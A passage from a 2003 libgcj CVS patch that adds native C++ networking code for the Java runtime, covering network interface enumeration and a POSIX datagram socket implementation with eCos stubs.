a bigger buffer size. + do + { + num_interfaces += 16; + + if_data.ifc_len = sizeof (struct ifreq) * num_interfaces; + if_data.ifc_buf = + (char*) _Jv_Realloc (if_data.ifc_buf, if_data.ifc_len); + + // Try to get all local interfaces. + if (::ioctl (fd, SIOCGIFCONF, &if_data) < 0) + throw new java::net::SocketException; + } + while (if_data.ifc_len >= (sizeof (struct ifreq) * num_interfaces)); + + // Get addresses of all interfaces. + if_record = if_data.ifc_req; + + for (int n = 0; n < if_data.ifc_len; n += sizeof (struct ifreq)) + { + struct ifreq ifr; + + memset (&ifr, 0, sizeof (ifr)); + strcpy (ifr.ifr_name, if_record->ifr_name); + + // Try to get the IPv4-address of the local interface + if (::ioctl (fd, SIOCGIFADDR, &ifr) < 0) + throw new java::net::SocketException; + + int len = 4; + struct sockaddr_in sa = *((sockaddr_in*) &(ifr.ifr_addr)); + + jbyteArray baddr = JvNewByteArray (len); + memcpy (elements (baddr), &(sa.sin_addr), len); + jstring if_name = JvNewStringLatin1 (if_record->ifr_name); + Inet4Address* address = + new java::net::Inet4Address (baddr, JvNewStringLatin1 ("")); + ht->add (new NetworkInterface (if_name, address)); + if_record++; + } + +#ifdef HAVE_INET6 + // FIXME: read /proc/net/if_inet6 (on Linux 2.4) +#endif + + _Jv_Free (if_data.ifc_buf); + + if (fd >= 0) + _Jv_close (fd); + + return ht; +} + +#endif // DISABLE_JAVA_NET // Index: java/net/natNetworkInterfaceWin32.cc =================================================================== RCS file: java/net/natNetworkInterfaceWin32.cc diff -N java/net/natNetworkInterfaceWin32.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natNetworkInterfaceWin32.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,142 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifdef WIN32 + +#include +#include +#undef STRICT + +#else /* WIN32 */ + +#ifdef HAVE_UNISTD_H +#include +#endif +#include +#include +#include + +#include +#include +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#ifdef HAVE_NETDB_H +#include +#endif +#ifdef HAVE_SYS_IOCTL_H +#define BSD_COMP /* Get FIONREAD on Solaris2. */ +#include +#endif +#ifdef HAVE_NET_IF_H +#include +#endif + +#endif /* WIN32 */ + +#include +#include +#include +#include +#include +#include + +#ifdef DISABLE_JAVA_NET + +::java::util::Vector* +java::net::NetworkInterface::getRealNetworkInterfaces () +{ + ::java::util::Vector* ht = new ::java::util::Vector(); + return ht; +} + +#else /* DISABLE_JAVA_NET */ + +::java::util::Vector* +java::net::NetworkInterface::getRealNetworkInterfaces () +{ +#ifdef WIN32 + throw new ::java::net::SocketException; +#else + int fd; + int num_interfaces = 0; + struct ifconf if_data; + struct ifreq* if_record; + ::java::util::Vector* ht = new ::java::util::Vector (); + + if_data.ifc_len = 0; + if_data.ifc_buf = NULL; + + // Open a (random) socket to have a file descriptor for the ioctl calls. + fd = _Jv_socket (PF_INET, SOCK_DGRAM, htons (IPPROTO_IP)); + + if (fd < 0) + throw new ::java::net::SocketException; + + // Get all interfaces. If not enough buffers are available try it + // with a bigger buffer size. + do + { + num_interfaces += 16; + + if_data.ifc_len = sizeof (struct ifreq) * num_interfaces; + if_data.ifc_buf = + (char*) _Jv_Realloc (if_data.ifc_buf, if_data.ifc_len); + + // Try to get all local interfaces. + if (::ioctl (fd, SIOCGIFCONF, &if_data) < 0) + throw new java::net::SocketException; + } + while (if_data.ifc_len >= (sizeof (struct ifreq) * num_interfaces)); + + // Get addresses of all interfaces. + if_record = if_data.ifc_req; + + for (int n = 0; n < if_data.ifc_len; n += sizeof (struct ifreq)) + { + struct ifreq ifr; + + memset (&ifr, 0, sizeof (ifr)); + strcpy (ifr.ifr_name, if_record->ifr_name); + + // Try to get the IPv4-address of the local interface + if (::ioctl (fd, SIOCGIFADDR, &ifr) < 0) + throw new java::net::SocketException; + + int len = 4; + struct sockaddr_in sa = *((sockaddr_in*) &(ifr.ifr_addr)); + + jbyteArray baddr = JvNewByteArray (len); + memcpy (elements (baddr), &(sa.sin_addr), len); + jstring if_name = JvNewStringLatin1 (if_record->ifr_name); + Inet4Address* address = + new java::net::Inet4Address (baddr, JvNewStringLatin1 ("")); + ht->add (new NetworkInterface (if_name, address)); + if_record++; + } + +#ifdef HAVE_INET6 + // FIXME: read /proc/net/if_inet6 (on Linux 2.4) +#endif + + _Jv_Free (if_data.ifc_buf); + + if (fd >= 0) + _Jv_close (fd); + + return ht; +#endif /* WIN32 */ +} + +#endif // DISABLE_JAVA_NET // Index: java/net/natPlainDatagramSocketImplEcos.cc =================================================================== RCS file: java/net/natPlainDatagramSocketImplEcos.cc diff -N java/net/natPlainDatagramSocketImplEcos.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainDatagramSocketImplEcos.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,119 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +void +java::net::PlainDatagramSocketImpl::create () +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.create: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::bind (jint, java::net::InetAddress *) +{ + throw new BindException ( + JvNewStringLatin1 ("DatagramSocketImpl.bind: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::connect (java::net::InetAddress *, jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.connect: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::disconnect () +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.disconnect: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::peek (java::net::InetAddress *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.peek: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::peekData(java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.peekData: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::close () +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.close: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::send (java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.send: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::receive (java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.receive: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::setTimeToLive (jint) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.setTimeToLive: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::getTimeToLive () +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.getTimeToLive: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::mcastGrp (java::net::InetAddress *, + java::net::NetworkInterface *, + jboolean) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.mcastGrp: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::setOption (jint, java::lang::Object *) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.setOption: unimplemented")); +} + +java::lang::Object * +java::net::PlainDatagramSocketImpl::getOption (jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.getOption: unimplemented")); +} Index: java/net/natPlainDatagramSocketImplPosix.cc =================================================================== RCS file: java/net/natPlainDatagramSocketImplPosix.cc diff -N java/net/natPlainDatagramSocketImplPosix.cc --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ java/net/natPlainDatagramSocketImplPosix.cc 14 Mar 2003 08:30:44 -0000 @@ -0,0 +1,857 @@ +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include +#include + +#ifdef HAVE_NETINET_IN_H +#include +#endif +#ifdef HAVE_ARPA_INET_H +#include +#endif +#include +#include + +#if HAVE_BSTRING_H +// Needed for bzero, implicitly used by FD_ZERO on IRIX 5.2 +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef DISABLE_JAVA_NET + +void +java::net::PlainDatagramSocketImpl::create () +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.create: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::bind (jint, java::net::InetAddress *) +{ + throw new BindException ( + JvNewStringLatin1 ("DatagramSocketImpl.bind: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::connect (java::net::InetAddress *, jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.connect: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::disconnect () +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.disconnect: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::peek (java::net::InetAddress *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.peek: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::peekData(java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.peekData: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::close () +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.close: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::send (java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.send: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::receive (java::net::DatagramPacket *) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.receive: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::setTimeToLive (jint) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.setTimeToLive: unimplemented")); +} + +jint +java::net::PlainDatagramSocketImpl::getTimeToLive () +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.getTimeToLive: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::mcastGrp (java::net::InetAddress *, + java::net::NetworkInterface *, + jboolean) +{ + throw new java::io::IOException ( + JvNewStringLatin1 ("DatagramSocketImpl.mcastGrp: unimplemented")); +} + +void +java::net::PlainDatagramSocketImpl::setOption (jint, java::lang::Object *) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.setOption: unimplemented")); +} + +java::lang::Object * +java::net::PlainDatagramSocketImpl::getOption (jint) +{ + throw new SocketException ( + JvNewStringLatin1 ("DatagramSocketImpl.getOption: unimplemented")); +} + +#else /* DISABLE_JAVA_NET */ + + +union SockAddr +{ + struct sockaddr_in address; +#ifdef HAVE_INET6 + struct sockaddr_in6 address6; +#endif +}; + +union McastReq +{ +#if HAVE_STRUCT_IP_MREQ + struct ip_mreq mreq; +#endif +#if HAVE_STRUCT_IPV6_MREQ + struct ipv6_mreq mreq6; +#endif +}; + +union InAddr +{ + struct in_addr addr; +#ifdef HAVE_INET6 + struct in6_addr addr6; +#endif +}; + + +// FIXME: routines here and/or in natPlainSocketImpl.cc could throw +// NoRouteToHostException; also consider UnknownHostException, ConnectException. + +void +java::net::PlainDatagramSocketImpl::create () +{ + int sock = _Jv_socket (AF_INET, SOCK_DGRAM, 0); + + if (sock < 0) + { + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); + } + + _Jv_platform_close_on_exec (sock); + + // We use fnum in place of fd here. From leaving fd null we avoid + // the double close problem in FileDescriptor.finalize. + fnum = sock; +} + +void +java::net::PlainDatagramSocketImpl::bind (jint lport, + java::net::InetAddress *host) +{ + union SockAddr u; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + // FIXME: Use getaddrinfo() to get actual protocol instead of assuming ipv4. + jbyteArray haddress = host->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + + if (len == 4) + { + u.address.sin_family = AF_INET; + + if (host != NULL) + memcpy (&u.address.sin_addr, bytes, len); + else + u.address.sin_addr.s_addr = htonl (INADDR_ANY); + + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (lport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (lport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (_Jv_bind (fnum, ptr, len) == 0) + { + socklen_t addrlen = sizeof(u); + + if (lport != 0) + localPort = lport; + else if (::getsockname (fnum, (sockaddr*) &u, &addrlen) == 0) + localPort = ntohs (u.address.sin_port); + else + goto error; + + /* Allow broadcast by default. */ + int broadcast = 1; + if (::setsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &broadcast, + sizeof (broadcast)) != 0) + goto error; + + return; + } + + error: + char* strerr = strerror (errno); + throw new java::net::BindException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::connect (java::net::InetAddress *, jint) +{ + throw new ::java::lang::InternalError (JvNewStringLatin1 ( + "PlainDatagramSocketImpl::connect: not implemented yet")); +} + +void +java::net::PlainDatagramSocketImpl::disconnect () +{ + throw new ::java::lang::InternalError (JvNewStringLatin1 ( + "PlainDatagramSocketImpl::disconnect: not implemented yet")); +} + +jint +java::net::PlainDatagramSocketImpl::peek (java::net::InetAddress *i) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + ssize_t retlen = + ::recvfrom (fnum, (char *) NULL, 0, MSG_PEEK, (sockaddr*) &u, + &addrlen); + if (retlen < 0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + i->addr = raddr; + return rport; + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +jint +java::net::PlainDatagramSocketImpl::peekData(java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyte *dbytes = elements (p->getData()); + ssize_t retlen = 0; + + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException (); + } + + retlen = + ::recvfrom (fnum, (char *) dbytes, p->getLength(), MSG_PEEK, (sockaddr*) &u, + &addrlen); + if (retlen < 0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + p->setAddress (new InetAddress (raddr, NULL)); + p->setPort (rport); + p->setLength ((jint) retlen); + return rport; + + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +// Close(shutdown) the socket. +void +java::net::PlainDatagramSocketImpl::close () +{ + // Avoid races from asynchronous finalization. + JvSynchronize sync (this); + + // The method isn't declared to throw anything, so we disregard + // the return value. + _Jv_close (fnum); + fnum = -1; + timeout = 0; +} + +void +java::net::PlainDatagramSocketImpl::send (java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + jint rport = p->getPort(); + union SockAddr u; + jbyteArray haddress = p->getAddress()->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + struct sockaddr *ptr = (struct sockaddr *) &u.address; + jbyte *dbytes = elements (p->getData()); + if (len == 4) + { + u.address.sin_family = AF_INET; + memcpy (&u.address.sin_addr, bytes, len); + len = sizeof (struct sockaddr_in); + u.address.sin_port = htons (rport); + } +#ifdef HAVE_INET6 + else if (len == 16) + { + u.address6.sin6_family = AF_INET6; + memcpy (&u.address6.sin6_addr, bytes, len); + len = sizeof (struct sockaddr_in6); + u.address6.sin6_port = htons (rport); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::sendto (fnum, (char *) dbytes, p->getLength(), 0, ptr, len) >= 0) + return; + + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::receive (java::net::DatagramPacket *p) +{ + // FIXME: Deal with Multicast and if the socket is connected. + union SockAddr u; + socklen_t addrlen = sizeof(u); + jbyte *dbytes = elements (p->getData()); + ssize_t retlen = 0; + + // Do timeouts via select since SO_RCVTIMEO is not always available. + if (timeout > 0 && fnum >= 0 && fnum < FD_SETSIZE) + { + fd_set rset; + struct timeval tv; + FD_ZERO(&rset); + FD_SET(fnum, &rset); + tv.tv_sec = timeout / 1000; + tv.tv_usec = (timeout % 1000) * 1000; + int retval; + if ((retval = _Jv_select (fnum + 1, &rset, NULL, NULL, &tv)) < 0) + goto error; + else if (retval == 0) + throw new java::io::InterruptedIOException (); + } + + retlen = + ::recvfrom (fnum, (char *) dbytes, p->getLength(), 0, (sockaddr*) &u, + &addrlen); + if (retlen < 0) + goto error; + // FIXME: Deal with Multicast addressing and if the socket is connected. + jbyteArray raddr; + jint rport; + if (u.address.sin_family == AF_INET) + { + raddr = JvNewByteArray (4); + memcpy (elements (raddr), &u.address.sin_addr, 4); + rport = ntohs (u.address.sin_port); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + raddr = JvNewByteArray (16); + memcpy (elements (raddr), &u.address6.sin6_addr, 16); + rport = ntohs (u.address6.sin6_port); + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid family")); + + p->setAddress (new InetAddress (raddr, NULL)); + p->setPort (rport); + p->setLength ((jint) retlen); + return; + + error: + char* strerr = strerror (errno); + + if (errno == ECONNREFUSED) + throw new PortUnreachableException (JvNewStringUTF (strerr)); + + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::setTimeToLive (jint ttl) +{ + // Assumes IPPROTO_IP rather than IPPROTO_IPV6 since socket created is IPv4. + char val = (char) ttl; + socklen_t val_len = sizeof(val); + + if (::setsockopt (fnum, IPPROTO_IP, IP_MULTICAST_TTL, &val, val_len) == 0) + return; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +jint +java::net::PlainDatagramSocketImpl::getTimeToLive () +{ + // Assumes IPPROTO_IP rather than IPPROTO_IPV6 since socket created is IPv4. + char val; + socklen_t val_len = sizeof(val); + + if (::getsockopt (fnum, IPPROTO_IP, IP_MULTICAST_TTL, &val, &val_len) == 0) + return ((int) val) & 0xFF; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::mcastGrp (java::net::InetAddress *inetaddr, + java::net::NetworkInterface *, + jboolean join) +{ + // FIXME: implement use of NetworkInterface + + union McastReq u; + jbyteArray haddress = inetaddr->addr; + jbyte *bytes = elements (haddress); + int len = haddress->length; + int level, opname; + const char *ptr; + if (0) + ; +#if HAVE_STRUCT_IP_MREQ + else if (len == 4) + { + level = IPPROTO_IP; + opname = join ? IP_ADD_MEMBERSHIP : IP_DROP_MEMBERSHIP; + memcpy (&u.mreq.imr_multiaddr, bytes, len); + // FIXME: If a non-default interface is set, use it; see Stevens p. 501. + // Maybe not, see note in last paragraph at bottom of Stevens p. 497. + u.mreq.imr_interface.s_addr = htonl (INADDR_ANY); + len = sizeof (struct ip_mreq); + ptr = (const char *) &u.mreq; + } +#endif +#if HAVE_STRUCT_IPV6_MREQ + else if (len == 16) + { + level = IPPROTO_IPV6; + + /* Prefer new RFC 2553 names. */ +#ifndef IPV6_JOIN_GROUP +#define IPV6_JOIN_GROUP IPV6_ADD_MEMBERSHIP +#endif +#ifndef IPV6_LEAVE_GROUP +#define IPV6_LEAVE_GROUP IPV6_DROP_MEMBERSHIP +#endif + + opname = join ? IPV6_JOIN_GROUP : IPV6_LEAVE_GROUP; + memcpy (&u.mreq6.ipv6mr_multiaddr, bytes, len); + // FIXME: If a non-default interface is set, use it; see Stevens p. 501. + // Maybe not, see note in last paragraph at bottom of Stevens p. 497. + u.mreq6.ipv6mr_interface = 0; + len = sizeof (struct ipv6_mreq); + ptr = (const char *) &u.mreq6; + } +#endif + else + throw new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::setsockopt (fnum, level, opname, ptr, len) == 0) + return; + + char* strerr = strerror (errno); + throw new java::io::IOException (JvNewStringUTF (strerr)); +} + +void +java::net::PlainDatagramSocketImpl::setOption (jint optID, + java::lang::Object *value) +{ + int val; + socklen_t val_len = sizeof (val); + + if (fnum < 0) + throw new java::net::SocketException (JvNewStringUTF ("Socket closed")); + + if (_Jv_IsInstanceOf (value, &java::lang::Boolean::class$)) + { + java::lang::Boolean *boolobj = + static_cast (value); + val = boolobj->booleanValue() ? 1 : 0; + } + else if (_Jv_IsInstanceOf (value, &java::lang::Integer::class$)) + { + java::lang::Integer *intobj = + static_cast (value); + val = (int) intobj->intValue(); + } + // Else assume value to be an InetAddress for use with IP_MULTICAST_IF. + + switch (optID) + { + case _Jv_TCP_NODELAY_ : + throw new java::net::SocketException ( + JvNewStringUTF ("TCP_NODELAY not valid for UDP")); + return; + case _Jv_SO_LINGER_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_LINGER not valid for UDP")); + return; + case _Jv_SO_KEEPALIVE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_KEEPALIVE not valid for UDP")); + return; + + case _Jv_SO_BROADCAST_ : + if (::setsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + val_len) != 0) + goto error; + break; + + case _Jv_SO_OOBINLINE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_OOBINLINE: not valid for UDP")); + break; + + case _Jv_SO_SNDBUF_ : + case _Jv_SO_RCVBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::setsockopt (fnum, SOL_SOCKET, opt, (char *) &val, val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + return; + case _Jv_SO_REUSEADDR_ : +#if defined(SO_REUSEADDR) + if (::setsockopt (fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &val, + val_len) != 0) + goto error; +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_REUSEADDR not supported")); +#endif + return; + case _Jv_SO_BINDADDR_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_BINDADDR: read only option")); + return; + case _Jv_IP_MULTICAST_IF_ : + union InAddr u; + jbyteArray haddress; + jbyte *bytes; + int len; + int level, opname; + const char *ptr; + + haddress = ((java::net::InetAddress *) value)->addr; + bytes = elements (haddress); + len = haddress->length; + if (len == 4) + { + level = IPPROTO_IP; + opname = IP_MULTICAST_IF; + memcpy (&u.addr, bytes, len); + len = sizeof (struct in_addr); + ptr = (const char *) &u.addr; + } +// Tru64 UNIX V5.0 has struct sockaddr_in6, but no IPV6_MULTICAST_IF +#if defined (HAVE_INET6) && defined (IPV6_MULTICAST_IF) + else if (len == 16) + { + level = IPPROTO_IPV6; + opname = IPV6_MULTICAST_IF; + memcpy (&u.addr6, bytes, len); + len = sizeof (struct in6_addr); + ptr = (const char *) &u.addr6; + } +#endif + else + throw + new java::net::SocketException (JvNewStringUTF ("invalid length")); + + if (::setsockopt (fnum, level, opname, ptr, len) != 0) + goto error; + return; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not yet implemented")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_LOOP: not yet implemented")); + break; + + case _Jv_IP_TOS_ : + if (::setsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + val_len) != 0) + goto error; + return; + + case _Jv_SO_TIMEOUT_ : + timeout = val; + return; + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +java::lang::Object * +java::net::PlainDatagramSocketImpl::getOption (jint optID) +{ + int val; + socklen_t val_len = sizeof(val); + union SockAddr u; + socklen_t addrlen = sizeof(u); + + switch (optID) + { + case _Jv_TCP_NODELAY_ : + throw new java::net::SocketException ( + JvNewStringUTF ("TCP_NODELAY not valid for UDP")); + break; + case _Jv_SO_LINGER_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_LINGER not valid for UDP")); + break; + case _Jv_SO_KEEPALIVE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_KEEPALIVE not valid for UDP")); + break; + + case _Jv_SO_BROADCAST_ : + if (::getsockopt (fnum, SOL_SOCKET, SO_BROADCAST, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); + + case _Jv_SO_OOBINLINE_ : + throw new java::net::SocketException ( + JvNewStringUTF ("SO_OOBINLINE not valid for UDP")); + break; + + case _Jv_SO_RCVBUF_ : + case _Jv_SO_SNDBUF_ : +#if defined(SO_SNDBUF) && defined(SO_RCVBUF) + int opt; + optID == _Jv_SO_SNDBUF_ ? opt = SO_SNDBUF : opt = SO_RCVBUF; + if (::getsockopt (fnum, SOL_SOCKET, opt, (char *) &val, &val_len) != 0) + goto error; + else + return new java::lang::Integer (val); +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_RCVBUF/SO_SNDBUF not supported")); +#endif + break; + case _Jv_SO_BINDADDR_: + // cache the local address + if (localAddress == NULL) + { + jbyteArray laddr; + if (::getsockname (fnum, (sockaddr*) &u, &addrlen) != 0) + goto error; + if (u.address.sin_family == AF_INET) + { + laddr = JvNewByteArray (4); + memcpy (elements (laddr), &u.address.sin_addr, 4); + } +#ifdef HAVE_INET6 + else if (u.address.sin_family == AF_INET6) + { + laddr = JvNewByteArray (16); + memcpy (elements (laddr), &u.address6.sin6_addr, 16); + } +#endif + else + throw new java::net::SocketException ( + JvNewStringUTF ("invalid family")); + localAddress = new java::net::InetAddress (laddr, NULL); + } + return localAddress; + break; + case _Jv_SO_REUSEADDR_ : +#if defined(SO_REUSEADDR) + if (::getsockopt (fnum, SOL_SOCKET, SO_REUSEADDR, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); +#else + throw new java::lang::InternalError ( + JvNewStringUTF ("SO_REUSEADDR not supported")); +#endif + break; + case _Jv_IP_MULTICAST_IF_ : +#ifdef HAVE_INET_NTOA + struct in_addr inaddr; + socklen_t inaddr_len; + char *bytes; + + inaddr_len = sizeof(inaddr); + if (::getsockopt (fnum, IPPROTO_IP, IP_MULTICAST_IF, (char *) &inaddr, + &inaddr_len) != 0) + goto error; + + bytes = inet_ntoa (inaddr); + + return java::net::InetAddress::getByName (JvNewStringLatin1 (bytes)); +#else + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF: not available - no inet_ntoa()")); +#endif + break; + case _Jv_SO_TIMEOUT_ : + return new java::lang::Integer (timeout); + break; + + case _Jv_IP_MULTICAST_IF2_ : + throw new java::net::SocketException ( + JvNewStringUTF ("IP_MULTICAST_IF2: not yet implemented")); + break; + + case _Jv_IP_MULTICAST_LOOP_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_MULTICAST_LOOP, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Boolean (val != 0); + + case _Jv_IP_TOS_ : + if (::getsockopt (fnum, SOL_SOCKET, IP_TOS, (char *) &val, + &val_len) != 0) + goto error; + return new java::lang::Integer (val); + + default : + errno = ENOPROTOOPT; + } + + error: + char* strerr = strerror (errno); + throw new java::net::SocketException (JvNewStringUTF (strerr)); +} + +#endif /* DISABLE_JAVA_NET */ Index: java/net/natPlainDatagramSocketImplWin32.cc =================================================================== RCS file: java/net/natPlainDatagramSocketImplWin32.cc 